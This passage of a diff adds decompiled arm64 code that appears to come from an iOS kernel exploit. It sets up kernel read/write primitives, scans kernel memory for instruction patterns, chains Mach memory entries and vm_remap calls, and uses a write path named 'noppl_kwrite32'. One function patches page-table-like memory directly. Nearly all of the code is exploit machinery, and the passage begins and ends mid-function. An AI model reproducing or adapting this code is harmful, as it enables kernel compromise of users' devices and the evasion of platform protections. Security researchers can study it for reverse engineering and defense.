vars8; // [xsp+18h] [xbp+8h] + + a1[176] = 0; + vm_deallocate(mach_task_self_, a1[169], 0xC000u); + a1[169] = 0; + vm_deallocate(mach_task_self_, a1[170], 0xC000u); + a1[170] = 0; + vm_deallocate(mach_task_self_, a1[172], 0xC000u); + a1[172] = 0; + vm_deallocate(mach_task_self_, a1[173], 0xC000u); + a1[173] = 0; + vm_deallocate(mach_task_self_, a1[175], 0xC000u); + a1[175] = 0; + bzero(a1, 0x5E8u); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); +} +// A090: variable 'vars8' is possibly undefined + +//----- (000000000000A0A0) ---------------------------------------------------- +__int64 __fastcall sub_A0A0(struct_krwCtx *a1) +{ + __int64 v2; // x20 + __int64 v3; // x0 + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x21 + unsigned __int64 v6; // x22 + unsigned __int64 v7; // x22 + __int64 v8; // x0 + __int64 *v9; // x0 + __int64 v10; // x24 + unsigned __int64 v11; // x25 + __int64 v12; // x23 + __int64 v13; // x21 + _QWORD v15[3]; // [xsp+0h] [xbp-A0h] BYREF + _QWORD v16[3]; // [xsp+18h] [xbp-88h] BYREF + int v17; // [xsp+34h] [xbp-6Ch] BYREF + unsigned __int64 v18; // [xsp+38h] [xbp-68h] BYREF + int v19; // [xsp+40h] [xbp-60h] BYREF + int v20; // [xsp+44h] [xbp-5Ch] BYREF + __int64 v21; // [xsp+48h] [xbp-58h] BYREF + __int64 v22; // [xsp+50h] [xbp-50h] BYREF + __int64 v23; // [xsp+58h] [xbp-48h] BYREF + + v2 = 708625; + v23 = 0; + v21 = 0; + v22 = 0; + sub_19D10(a1->gap1921[2], v16); + v3 = kernel_pattern_scan((__int64)v16, "08 3D 40 92 09 18 80 52", 0); + if ( !v3 ) + return v2; + v4 = sub_1E620((__int64 *)a1->gap1921[2], v3 + 8); + if ( !v4 ) + return v2; + v5 = v4; + v6 = v4 + 7104; + if ( !kread64_outptr(a1, v4 + 7104, (unsigned __int64 *)&v22) ) + return 163855; + if ( v6 != v22 ) + return 163878; + if ( !kread64_outptr(a1, v5 + 7120, (unsigned __int64 *)&v23) ) + return 163855; + if ( (unsigned __int64)(v23 + 0x1000000000000LL) > 0xFFFFFFFFEFFELL ) + return 163878; + if ( !(unsigned int)kreadbuf_last_1(a1, v23, 4, &v19) ) + return 163855; + if ( v19 != 1864396150 ) + return 163857; + v7 = v5 + 7168; + if ( !kread64_outptr(a1, v5 + 7168, (unsigned __int64 *)&v21) ) + return 163855; + if ( validate_addr((__int64)a1, v21) ) + return 0; + sub_19D10(a1->gap1921[2], v15); + v8 = kernel_pattern_scan((__int64)v15, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0); + if ( v8 ) + { + v9 = (__int64 *)sub_1E854((__int64 *)a1->gap1921[2], (__int64 *)(v8 - 8)); + if ( v9 ) + { + v10 = (__int64)v9; + v11 = sub_19B30((__int64 *)a1->gap1921[2], v9); + v12 = v5 + 7272; + if ( (unsigned int)kreadbuf_last_1(a1, v5 + 7272, 4, &v20) ) + { + if ( v20 ) + { + v17 = 2 * v20; + v13 = v5 + 7176; + v2 = 163856; + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v13, (__int64)&v17, 4) ) + { + v18 = v11 + 52428; + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v10, (__int64)&v18, 4) ) + { + sub_2AABC((__int64)a1, 0x1312D0u); + v2 = 163855; + if ( kread64_outptr(a1, v7, (unsigned __int64 *)&v21) ) + { + if ( validate_addr((__int64)a1, v21) + || (v17 = 0, (unsigned int)kwritebuf_last_1((__int64)a1, v13, (__int64)&v17, 4)) ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v12, 4, &v20) ) + return 0; + else + return 163855; + } + else + { + return 163856; + } + } + } + } + return v2; + } + return 163857; + } + return 163855; + } + } + return v2; +} +// A0A0: too many cbuild loops + +//----- (000000000000A354) ---------------------------------------------------- +__int64 __fastcall sub_A354(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) +{ + _QWORD *v5; // x21 + __int64 result; // x0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = -1; + v5 = *(_QWORD **)(a1 + 80); + if ( !v5 ) + return 708609; + if ( a5 ) + { + result = fd_open_dev_null(&v10); + if ( (_DWORD)result ) + return result; + sub_70A4(v5, a2, a3, a4); + fd_close(v10); + } + else + { + sub_70A4(*(_QWORD **)(a1 + 80), a2, a3, a4); + } + return 0; +} + +//----- (000000000000A3F0) ---------------------------------------------------- +__int64 __fastcall sub_A3F0(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) +{ + _QWORD *v5; // x21 + __int64 result; // x0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = -1; + v5 = *(_QWORD **)(a1 + 80); + if ( !v5 ) + return 708609; + if ( a5 ) + { + result = fd_open_dev_null(&v10); + if ( (_DWORD)result ) + return result; + sub_7128(v5, a3, a2, a4); + fd_close(v10); + } + else + { + sub_7128(*(_QWORD **)(a1 + 80), a3, a2, a4); + } + return 0; +} + +//----- (000000000000A48C) ---------------------------------------------------- +__int64 __fastcall sub_A48C(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + __int64 result; // x0 + _QWORD *v7; // x21 + size_t v10; // x22 + int v11; // [xsp+Ch] [xbp-24h] BYREF + + result = 708609; + v11 = -1; + v7 = *(_QWORD **)(a1 + 80); + if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) + { + v10 = a4; + if ( a5 ) + { + result = fd_open_dev_null(&v11); + if ( (_DWORD)result ) + return result; + sub_6E30(v7, a2, a3, v10); + fd_close(v11); + } + else + { + sub_6E30(v7, a2, a3, a4); + } + return 0; + } + return result; +} + +//----- (000000000000A550) ---------------------------------------------------- +__int64 __fastcall sub_A550(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) +{ + __int64 result; // x0 + _QWORD *v7; // x21 + size_t v10; // x22 + int v11; // [xsp+Ch] [xbp-24h] BYREF + + result = 708609; + v11 = -1; + v7 = *(_QWORD **)(a1 + 80); + if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) + { + v10 = a4; + if ( a5 ) + { + result = fd_open_dev_null(&v11); + if ( (_DWORD)result ) + return result; + sub_6EB8(v7, a3, a2, v10); + fd_close(v11); + } + else + { + sub_6EB8(v7, a3, a2, a4); + } + return 0; + } + return result; +} + +//----- (000000000000A614) ---------------------------------------------------- +__int64 __fastcall sub_A614(__int64 a1) +{ + __int64 v2; // x21 + int v3; // w8 + __int128 v4; // q0 + _QWORD *v5; // x0 + _QWORD *v6; // x20 + _QWORD *v7; // x21 + __int128 v8; // q0 + __int128 v10; // [xsp+0h] [xbp-40h] + __int128 v11; // [xsp+10h] [xbp-30h] + + v2 = 708616; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + return v2; + v3 = *(_DWORD *)a1 & 0x518E241; + if ( v3 == 0x100000 ) + { + v10 = xmmword_42D80; + v11 = xmmword_42D90; + } + else + { + if ( v3 == 0x4000000 ) + { + v11 = xmmword_42D70; + v4 = xmmword_42D60; + } + else + { + if ( v3 != 0x1000000 ) + return v2; + v11 = xmmword_42D70; + v4 = xmmword_42DA0; + } + v10 = v4; + } + v5 = calloc(1u, 0x5E8u); + if ( !v5 ) + return 708617; + v6 = v5; + if ( _os_alloc_once_table[162] == -1 ) + v7 = (_QWORD *)_os_alloc_once_table[163]; + else + v7 = (_QWORD *)_os_alloc_once(); + if ( *v7 ) + v6[2] = *v7; + *(_OWORD *)(v6 + 179) = v11; + *(_OWORD *)(v6 + 181) = v10; + if ( (_QWORD)v11 == 16 ) + { + v8 = xmmword_42D40; + goto LABEL_19; + } + if ( (_QWORD)v11 == 64 ) + { + v8 = xmmword_42D50; +LABEL_19: + *(_OWORD *)(v6 + 187) = v8; + } + setup_thread_policy(); + sub_7630(v6); + sub_7E84(v6); + sub_8710(v6); + sub_8758(v6); + sub_9018(v6); + v6[186] = a1; + if ( !*v7 ) + *v7 = v6[2]; + v2 = 0; + *(_QWORD *)(a1 + 48) = sub_A354; + *(_QWORD *)(a1 + 64) = sub_A3F0; + *(_QWORD *)(a1 + 56) = sub_A48C; + *(_QWORD *)(a1 + 72) = sub_A550; + *(_QWORD *)(a1 + 80) = v6; + v6[183] = sub_A82C; + v6[184] = sub_A8A0; + v6[185] = sub_A914; + *(_QWORD *)(a1 + 480) = sub_A0A0; + *(_QWORD *)(a1 + 488) = v6; + return v2; +} +// 42D40: using guessed type __int128 xmmword_42D40; +// 42D50: using guessed type __int128 xmmword_42D50; +// 42D60: using guessed type __int128 xmmword_42D60; +// 42D70: using guessed type __int128 xmmword_42D70; +// 42D80: using guessed type __int128 xmmword_42D80; +// 42D90: using guessed type __int128 xmmword_42D90; +// 42DA0: using guessed type __int128 xmmword_42DA0; + +//----- (000000000000A82C) ---------------------------------------------------- +__int64 __fastcall sub_A82C(struct_krwCtx *a1, unsigned __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v4; // x20 + bool v5; // zf + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + result = sub_33B98(a1, mach_task_self_, a2); + if ( result ) + { + v4 = result + 56; + result = kread64_internal(a1, result + 56, &v6); + if ( (_DWORD)result ) + v5 = v6 == 0; + else + v5 = 1; + if ( !v5 ) + return sub_288A4((__int64)a1, v4, 0); + } + return result; +} + +//----- (000000000000A8A0) ---------------------------------------------------- +__int64 __fastcall sub_A8A0(struct_krwCtx *a1, mach_port_t a2) +{ + __int64 result; // x0 + unsigned __int64 v4; // x20 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + result = sub_33A88(a1, result, 1); + if ( result ) + { + v4 = result + 56; + result = kread64_internal(a1, result + 56, &v5); + if ( (_DWORD)result ) + { + if ( v5 ) + return sub_288A4((__int64)a1, v4, 0); + } + } + } + return result; +} + +//----- (000000000000A914) ---------------------------------------------------- +unsigned __int64 __fastcall sub_A914(__int64 krwCtx, unsigned __int64 a2) +{ + unsigned __int64 result; // x0 + mach_vm_address_t vaddr; // x20 + bool v5; // zf + int v6; // [xsp+4h] [xbp-1Ch] BYREF + unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + v7 = 0; + v6 = 0; + result = sub_33D38(krwCtx, mach_task_self_, a2, &v7); + if ( result ) + { + vaddr = result + 40; + result = kread32_outptr(krwCtx, result + 40, &v6); + if ( (_DWORD)result ) + v5 = v6 == 1; + else + v5 = 0; + if ( v5 ) + { + v6 = 100; + return noppl_kwrite32(krwCtx, vaddr, 100); + } + } + return result; +} + +//----- (000000000000A99C) ---------------------------------------------------- +__int64 __fastcall sub_A99C(__int64 a1) +{ + __int64 v1; // x0 + + v1 = *(_QWORD *)(a1 + 80); + if ( !v1 ) + return 708609; + sub_9F4C(v1); + return 0; +} + +//----- (000000000000A9CC) ---------------------------------------------------- +__int64 __fastcall sub_A9CC(__int64 a1) +{ + vm_address_t *v1; // x20 + __int64 result; // x0 + int v4; // [xsp+Ch] [xbp-14h] BYREF + + v4 = -1; + v1 = *(vm_address_t **)(a1 + 80); + if ( !v1 ) + return 708609; + result = fd_open_dev_null(&v4); + if ( !(_DWORD)result ) + { + *(_QWORD *)(a1 + 80) = 0; + *(_OWORD *)(a1 + 48) = 0u; + *(_OWORD *)(a1 + 64) = 0u; + sub_9FF0(v1); + fd_close(v4); + return 0; + } + return result; +} + +//----- (000000000000AA3C) ---------------------------------------------------- +__int64 __fastcall sub_AA3C(__int64 a1, _DWORD *a2, _DWORD *a3, mach_port_t *a4, _QWORD *a5) +{ + _QWORD *v5; // x25 + __int64 v11; // x19 + memory_object_offset_t v12; // x2 + kern_return_t memory_entry_64; // w0 + memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF + mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF + mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF + + *(_QWORD *)object_handle = 0; + name = 0; + v5 = *(_QWORD **)(a1 + 80); + if ( !v5 ) + return 708609; + v11 = 163857; + if ( validate_addr(a1, v5[163]) ) + { + if ( v5[164] && v5[165] ) + { + if ( validate_addr(a1, v5[166]) && validate_addr(a1, v5[167]) ) + { + v12 = v5[170]; + if ( v12 && v5[172] && v5[175] ) + { + size = 0x4000; + memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0); + if ( memory_entry_64 + || (size = 0x4000, + (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[172], 3, object_handle, 0)) != 0) + || (size = 0x4000, + (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[175] + 0x4000LL, 3, &name, 0)) != 0) ) + { + v11 = memory_entry_64 | 0x80000000; + } + else + { + v11 = 0; + a5[10] = v5[163]; + a5[11] = 0; + a5[12] = v5[164]; + a5[13] = v5[165]; + a5[14] = v5[166]; + a5[15] = v5[167]; + *a2 = object_handle[1]; + *a3 = object_handle[0]; + *(_QWORD *)object_handle = 0; + *a4 = name; + name = 0; + } + } + } + else + { + v11 = 163878; + } + } + } + else + { + v11 = 163878; + } + if ( object_handle[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[1]); + if ( object_handle[0] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[0]); + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + return v11; +} + +//----- (000000000000AC50) ---------------------------------------------------- +__int64 __fastcall sub_AC50(__int64 a1) +{ + vm_size_t v2; // x20 + kern_return_t memory_entry; // w0 + __int64 result; // x0 + _QWORD *v5; // x4 + __int64 v6; // x0 + _DWORD *v7; // x20 + __int64 i; // x23 + unsigned int v9; // w21 + __int64 v10; // x0 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF + vm_address_t address; // [xsp+10h] [xbp-90h] BYREF + vm_size_t size; // [xsp+18h] [xbp-88h] BYREF + __int128 v14; // [xsp+20h] [xbp-80h] + mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF + __int64 v16; // [xsp+40h] [xbp-60h] BYREF + _DWORD v17[4]; // [xsp+48h] [xbp-58h] + + v16 = 0; + v15 = 0; + v2 = vm_page_size; + address = 0; + size = vm_page_size; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + if ( memory_entry ) + return memory_entry | 0x80000000; + memory_entry = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + bzero((void *)address, v2); + v5 = (_QWORD *)address; + *(_QWORD *)address = *(_QWORD *)(a1 + 6608); + v5[4] = *(_QWORD *)(a1 + 6296); + v5[5] = *(unsigned int *)(a1 + 6304); + result = sub_AA3C(a1, (_DWORD *)&v16 + 1, &v16, &v15, v5); + if ( !(_DWORD)result ) + { + vm_deallocate(mach_task_self_, address, v2); + v17[0] = object_handle; + v17[1] = HIDWORD(v16); + v17[2] = v16; + v17[3] = v15; + v14 = xmmword_43740; + v6 = sub_1BD80(a1, 0x15u); + if ( v6 ) + { + v7 = (_DWORD *)v6; + for ( i = 0; ; ++i ) + { + v9 = v17[i]; + v10 = task_self_get_ipc_port((struct_krwCtx *)a1, v9); + if ( !v10 ) + return 163854; + result = sub_35E8C(a1, v10); + if ( (_DWORD)result ) + return result; + memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF); + if ( memory_entry ) + return memory_entry | 0x80000000; + *v7 = v9; + if ( i == 3 ) + break; + v7 = (_DWORD *)sub_1BD80(a1, *(_DWORD *)((char *)&v14 + i * 4 + 4)); + result = 4097; + if ( !v7 ) + return result; + } + return sub_281F0((struct_krwCtx *)a1); + } + else + { + return 4097; + } + } + return result; +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000000AE58) ---------------------------------------------------- +__int64 __fastcall sub_AE58( + __int64 a1, + _QWORD *a2, + mem_entry_name_port_t a3, + mem_entry_name_port_t a4, + mem_entry_name_port_t a5, + _QWORD *a6) +{ + __int64 v12; // x24 + __int64 v13; // x20 + __int64 v14; // x28 + __int64 v15; // x21 + __int64 v16; // x22 + kern_return_t v17; // w0 + _QWORD *v19; // x0 + vm_address_t v20; // x9 + __int64 v21; // [xsp+20h] [xbp-A0h] + vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF + vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF + vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF + vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF + vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF + vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF + vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF + vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF + vm_address_t address; // [xsp+68h] [xbp-58h] BYREF + + v12 = 163857; + address = 0; + src_address = 0; + target_address = 0; + v26 = 0; + v27 = 0; + v13 = a6[10]; + if ( validate_addr(a1, v13) ) + { + v14 = a6[12]; + if ( v14 ) + { + if ( (*(_QWORD *)(a1 + 392) & v14) == 0 ) + { + v15 = a6[13]; + if ( v15 ) + { + v21 = a6[14]; + v12 = 163878; + if ( validate_addr(a1, v21) ) + { + v16 = a6[15]; + if ( validate_addr(a1, v16) ) + { + v17 = vm_allocate(mach_task_self_, &address, 0xC000u, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &address, 0x4000u, 16386); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &address, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v24 = address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v24, 0x8000u, 0x4000); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &target_address, 0xC000u, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_map(mach_task_self_, &target_address, 0x4000u, 0, 0x4000, a3, 0, 0, 3, 3, 1u); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &target_address, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + target_address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v23 = target_address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v23, 0x8000u, 0x4000); + if ( v17 ) + goto LABEL_31; + v17 = vm_copy(mach_task_self_, target_address, 0xC000u, address); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &src_address, 0xC000u, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_map(mach_task_self_, &src_address, 0x4000u, 0, 0x4000, a4, 0, 0, 3, 3, 1u); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &src_address, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + src_address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v22 = src_address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v27, 0xC000u, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v27, 0x4000u, 16386); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &v27, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + v27, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v22 = v27 + 0x4000; + v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0; + v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v26, 0xC000u, 1); + if ( v17 + || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000u, 16386)) != 0 + || (*(_QWORD *)cur_protection = 0, + (v17 = vm_remap( + mach_task_self_, + &v26, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + v26, + 0, + &cur_protection[1], + cur_protection, + 1u)) != 0) + || (v22 = v26 + 0x4000, + (v17 = vm_map(mach_task_self_, &v22, 0x4000u, 0, 0x4000, a5, 0, 0, 3, 3, 1u)) != 0) + || (*(_QWORD *)cur_protection = 0, + (v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000u, + 0, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u)) != 0) ) + { +LABEL_31: + v12 = v17 | 0x80000000; + } + else + { + v19 = calloc(1u, 0x5E8u); + if ( v19 ) + { + v12 = 0; + v19[163] = v13; + v19[164] = v14; + v19[165] = v15; + v19[166] = v21; + v19[167] = v16; + v19[169] = address; + v20 = src_address; + v19[170] = target_address; + v19[171] = 49152; + address = 0; + src_address = 0; + target_address = 0; + v19[172] = v20; + v19[173] = v27; + v19[174] = 49152; + v19[175] = v26; + v19[176] = v20; + v19[177] = 49152; + v26 = 0; + v27 = 0; + *a2 = v19; + goto LABEL_35; + } + v12 = 708617; + } + } + } + } + } + } + } + else + { + v12 = 163878; + } + if ( src_address ) + vm_deallocate(mach_task_self_, src_address, 0xC000u); +LABEL_35: + if ( v27 ) + vm_deallocate(mach_task_self_, v27, 0xC000u); + if ( v26 ) + vm_deallocate(mach_task_self_, v26, 0xC000u); + if ( address ) + vm_deallocate(mach_task_self_, address, 0xC000u); + if ( target_address ) + vm_deallocate(mach_task_self_, target_address, 0xC000u); + return v12; +} + +//----- (000000000000B460) ---------------------------------------------------- +__int64 __fastcall sub_B460(__int64 a1, _DWORD *a2) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + int v6; // w22 + mach_port_name_t *v7; // x0 + __int64 v8; // x23 + mach_port_name_t v9; // w1 + __int64 i; // x21 + mach_port_name_t v11; // w1 + bool v12; // zf + __int64 v13; // x23 + __int64 v14; // x23 + _QWORD *v15; // x5 + __int64 v16; // x8 + __int64 v17; // x8 + __int64 v18; // [xsp+18h] [xbp-88h] BYREF + __int128 v19; // [xsp+20h] [xbp-80h] + int v20; // [xsp+3Ch] [xbp-64h] BYREF + vm_address_t address; // [xsp+40h] [xbp-60h] BYREF + mem_entry_name_port_t object[2]; // [xsp+48h] [xbp-58h] + __int64 v23; // [xsp+50h] [xbp-50h] + + *(_QWORD *)object = 0; + v23 = 0; + address = 0; + v2 = vm_page_size; + v20 = -1; + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + return 708609; + result = fd_open_dev_null(&v20); + if ( !(_DWORD)result ) + { + v6 = 163878; + v19 = xmmword_43740; + v7 = (mach_port_name_t *)sub_1BD80(a1, 0x15u); + if ( v7 ) + { + v8 = 0; + do + { + v9 = *v7; + object[v8] = *v7; + if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) ) + break; + if ( v8 == 3 ) + { + if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[0], 0, 0, 3, 3, 2u) ) + { + v13 = *(_QWORD *)address; + if ( validate_addr(a1, *(_QWORD *)address) ) + { + *(_QWORD *)(a1 + 6608) = v13; + v14 = *(_QWORD *)(address + 32); + if ( validate_addr(a1, v14) ) + { + *(_QWORD *)(a1 + 6296) = v14; + v15 = (_QWORD *)address; + v16 = *(_QWORD *)(address + 40); + if ( (unsigned __int64)(v16 - 1) <= 0x1F ) + { + *(_DWORD *)(a1 + 6304) = v16; + v18 = 0; + v6 = sub_AE58(a1, &v18, object[1], v23, HIDWORD(v23), v15); + if ( !v6 ) + { + v17 = v18; + *(_QWORD *)(a1 + 48) = sub_A354; + *(_QWORD *)(a1 + 64) = sub_A3F0; + *(_QWORD *)(a1 + 56) = sub_A48C; + *(_QWORD *)(a1 + 72) = sub_A550; + *(_QWORD *)(a1 + 80) = v17; + fd_close(v20); + v20 = -1; + v6 = sub_27808(a1, 0); + if ( !v6 ) + { + *(_QWORD *)(a1 + 48) = 0; + v6 = sub_288D4((struct_krwCtx *)a1); + if ( !v6 ) + *(_QWORD *)(a1 + 64) = 0; + } + } + } + } + } + } + break; + } + v7 = (mach_port_name_t *)sub_1BD80(a1, *(_DWORD *)((char *)&v19 + v8 * 4 + 4)); + ++v8; + } + while ( v7 ); + } + if ( v20 != -1 ) + fd_close(v20); + if ( v6 ) + { + for ( i = 0; i != 4; ++i ) + { + v11 = object[i]; + if ( v11 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v11); + } + } + if ( address ) + v12 = v2 == 0; + else + v12 = 1; + if ( !v12 ) + vm_deallocate(mach_task_self_, address, v2); + result = 0; + *a2 = v6 == 0; + } + return result; +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000000B73C) ---------------------------------------------------- +__int64 __fastcall sub_B73C(__int64 a1) +{ + __int64 v1; // x8 + + v1 = *(_QWORD *)(a1 + 80); + if ( v1 ) + return *(_QWORD *)(v1 + 1336); + else + return 708609LL; +} + +//----- (000000000000B758) ---------------------------------------------------- +void sub_B758() +{ + __dsb(0xFu); + __isb(0xFu); +} + +//----- (000000000000B768) ---------------------------------------------------- +__int64 __fastcall sub_B768(__int64 krwCtx, unsigned __int64 a2, int a3) +{ + __int64 v6; // x24 + __int64 v7; // x22 + __int64 v8; // x8 + unsigned __int64 v9; // x23 + int v10; // w0 + __int64 v11; // x24 + int v12; // w0 + unsigned __int64 port_kaddr; // x0 + unsigned __int64 v15; // x0 + int v16; // w0 + int v17; // w0 + __int64 v18; // x0 + __int64 v19; // x24 + __int64 v20; // x27 + __int64 v21; // x22 + __int16 v22; // w26 + int v23; // w0 + __int64 v24; // x8 + int v25; // [xsp+4h] [xbp-3ACh] BYREF + unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF + _QWORD v27[5]; // [xsp+30h] [xbp-380h] BYREF + _QWORD v28[2]; // [xsp+58h] [xbp-358h] BYREF + int v29; // [xsp+68h] [xbp-348h] + _QWORD *v30[3]; // [xsp+70h] [xbp-340h] BYREF + _QWORD v31[3]; // [xsp+88h] [xbp-328h] BYREF + __int64 v32; // [xsp+A0h] [xbp-310h] + __int64 v33; // [xsp+A8h] [xbp-308h] + _QWORD v34[2]; // [xsp+B0h] [xbp-300h] BYREF + char v35; // [xsp+C4h] [xbp-2ECh] + unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h] + + v6 = 708619; + if ( !(unsigned int)sub_251A4(krwCtx, 7u, 0x2710u) ) + { + v8 = *(_QWORD *)(krwCtx + 280); + if ( v8 ) + { + if ( *(_QWORD *)(krwCtx + 288) ) + { + v9 = *(_QWORD *)(v8 + 344); + if ( v9 ) + goto LABEL_6; + } + } + v30[2] = v31; + v34[0] = off_448E0; + v34[1] = v31; + sub_24BC0((__int64)&qword_480D8); + if ( !v12 ) + { + v7 = 163878; + v33 = krwCtx; + sub_BB3C(v31, *(_QWORD *)(krwCtx + 6600)); + port_kaddr = port_name_to_kaddr((struct_krwCtx *)krwCtx, mach_task_self_); + v31[2] = port_kaddr; + if ( port_kaddr && (v32 = kreadptr((struct_krwCtx *)krwCtx, port_kaddr)) != 0 ) + { + if ( !(unsigned int)sub_4014C(v30) && !(unsigned int)sub_10730(&qword_48000, v30) ) + { + if ( (unsigned int)sub_111C0((__int64)v34) + || (unsigned int)sub_1A58C((__int64)&word_48048, v30, (__int64)v31) + || (v28[0] = v31, v28[1] = v34, v29 = 0, (unsigned int)sub_1B42C((__int64)v28)) ) + { + sub_127C0((__int64)v34); + } + else + { + sub_127C0((__int64)v34); + v25 = 2 * *(_DWORD *)(krwCtx + 384); + v15 = sub_37210(krwCtx, (unsigned int *)&v25); + if ( !v15 ) + { + v7 = 708617; + goto LABEL_27; + } + v9 = v15; + sub_2183C(krwCtx, v15, (__int64)v27); + if ( !v16 ) + goto LABEL_27; + sub_2183C(krwCtx, v9 + *(unsigned int *)(krwCtx + 384), (__int64)v26); + if ( !v17 ) + goto LABEL_27; + v18 = sub_385F4((struct_krwCtx *)krwCtx, v26[0]); + if ( !v18 ) + goto LABEL_27; + v19 = v18; + v20 = *(_QWORD *)(krwCtx + 392); + v21 = v27[4]; + v22 = v27[0]; + sub_2183C(krwCtx, v27[0] & ~v20, (__int64)v34); + if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 ) + { + v30[0] = (_QWORD *)MEMORY[0x400000008]; + v31[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL; + MEMORY[0x400000008] = v31[0]; + sub_B758(); + sub_2AABC(krwCtx, 0x2710u); + *(_QWORD *)(v22 & 0x3FFF | 0x400004000LL) = v21 & 0xFFFF000000003FFFLL + | ((((v19 & (unsigned __int64)~v20) >> 14) & 0x3FFFFFFFFLL) << 14); + sub_B758(); + MEMORY[0x400000008] = v30[0]; + sub_2AABC(krwCtx, 0x2710u); + v24 = *(_QWORD *)(krwCtx + 280); + if ( v24 && *(_QWORD *)(krwCtx + 288) ) + 